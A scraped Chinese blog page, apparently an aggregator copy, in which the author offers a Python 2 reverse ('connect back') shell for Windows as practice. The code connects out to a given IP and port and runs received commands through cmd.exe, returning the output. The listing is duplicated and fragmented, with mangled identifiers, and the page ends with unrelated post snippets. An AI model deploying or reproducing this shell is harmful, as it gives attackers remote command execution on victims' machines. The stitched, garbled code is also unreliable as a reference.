sock.close()
sys.exit(0)
if data[:-1]=='pwd':
sock.send(os.getcwd()+'/n')
fo最近在複習python,順便寫了乙個簡單的反向shell。。純粹是為了練筆。。因為python大部分都存在於linux/unix中,在windows中很少有安裝python(尤其是伺服器,除非web是python寫的)。但我這個shell是乙個windows的shell,不過稍加一改就可以在linux/unix下執行了。。。
拿出來怕大家笑話,不過對於那些想學python卻還猶豫不決的朋友乙個直觀的印象吧。。。總之python確實可以稱得上世界上最棒的指令碼語言,我想它的應用會越來越廣泛。。。
下面是**,高手不要笑我了。。(要知道我能厚者臉皮拿出來,也是經過一番撕心裂肺的鬥爭的~~:——))
_one>
#!/usr/bin/python
import sys
import os
from socket import *
import string
def usage(name):
print '/t/tpython connect back shell/n/n'
print '/t/t superlone@est/n/n'
print 'usage:/n/t %s /n' % name
if len(sys.argv)==1 or len(sys.argv)>3:
usage(sys.argv[0])
sys.exit(0)
conip=sys.argv[1]
conport=int(sys.argv[2])
wel***e='/t/t[wel***e to the way home]/n'
try:
sock=socket(af_i***,sock_stream)
sock.connect((conip,conport))
except:
print '[-]socket error!/n'
sys.exit(0)
sock.send(wel***e)
prompt='superlone>'
while 1:
sock.send(prompt)
while 1:
data=sock.recv(1024)
if data:break
if data[:-1]=='exit':
sock.send('bye bye')
sock.close()
sys.exit(0)
if data[:-1]=='pwd':
sock.send(os.getcwd()+'/n')
for i in range(len(data.split())):
if 'cd' in data.split():
try:
os.chdir(data.split()[i+1])
except:
sock.send('dir change failed!/n')
rpipe=os.popen('cmd.exe /c '+data[:-1])
sdata=rpipe.read()
rpipe.close()
sock.send(sdata)
r i in range(len(data.split())):
if 'cd' in data.split():
try:
os.chdir(data.split()[i+1])
except:
sock.send('dir change failed!/n')
rpipe=os.popen('cmd.exe /c '+data[:-1])
sdata=rpipe.read()
rpipe.close()
sock.send(sdata)
#!/usr/bin/python
import sys
import os
from socket import *
import string
def usage(name):
print '/t/tpython connect back shell/n/n'
print '/t/t superlone@est/n/n'
print 'usage:/n/t %s /n' % name
if len(sys.argv)==1 or len(sys.argv)>3:
usage(sys.argv[0])
sys.exit(0)
conip=sys.argv[1]
conport=int(sys.argv[2])
wel***e='/t/t[wel***e to the way home]/n'
=os.popen('cmd.exe /c '+data[:-1])
sdata=rpipe.read()
rpipe.close()
sock.send(sdata)
python寫乙個服務 Python寫乙個服務
coding utf 8 import json from urllib.parse import parse qs from wsgiref.server import make server 定義函式,引數是函式的兩個引數,都是python本身定義的,預設就行了。定義檔案請求的型別和當前請求成功...
python寫的乙個選票系統
coding utf 8 spyder editor this is a temporary script file.coding utf 8 created on fri nov 12 13 54 22 2019 author mikey import numpy as np def count ...
python寫乙個incaseformat檢測工具
1.13日爆發的incaseformat病毒會在對應的系統時間觸發攻擊行為,能在短時間內刪除除了系統盤之外的所有檔案。據研究人員稱該病毒會在1.23再次爆發,小r根據該病毒生成特點製作了乙個簡單的檢測工具。程式設計環境 python3.7 from tkinter import import os....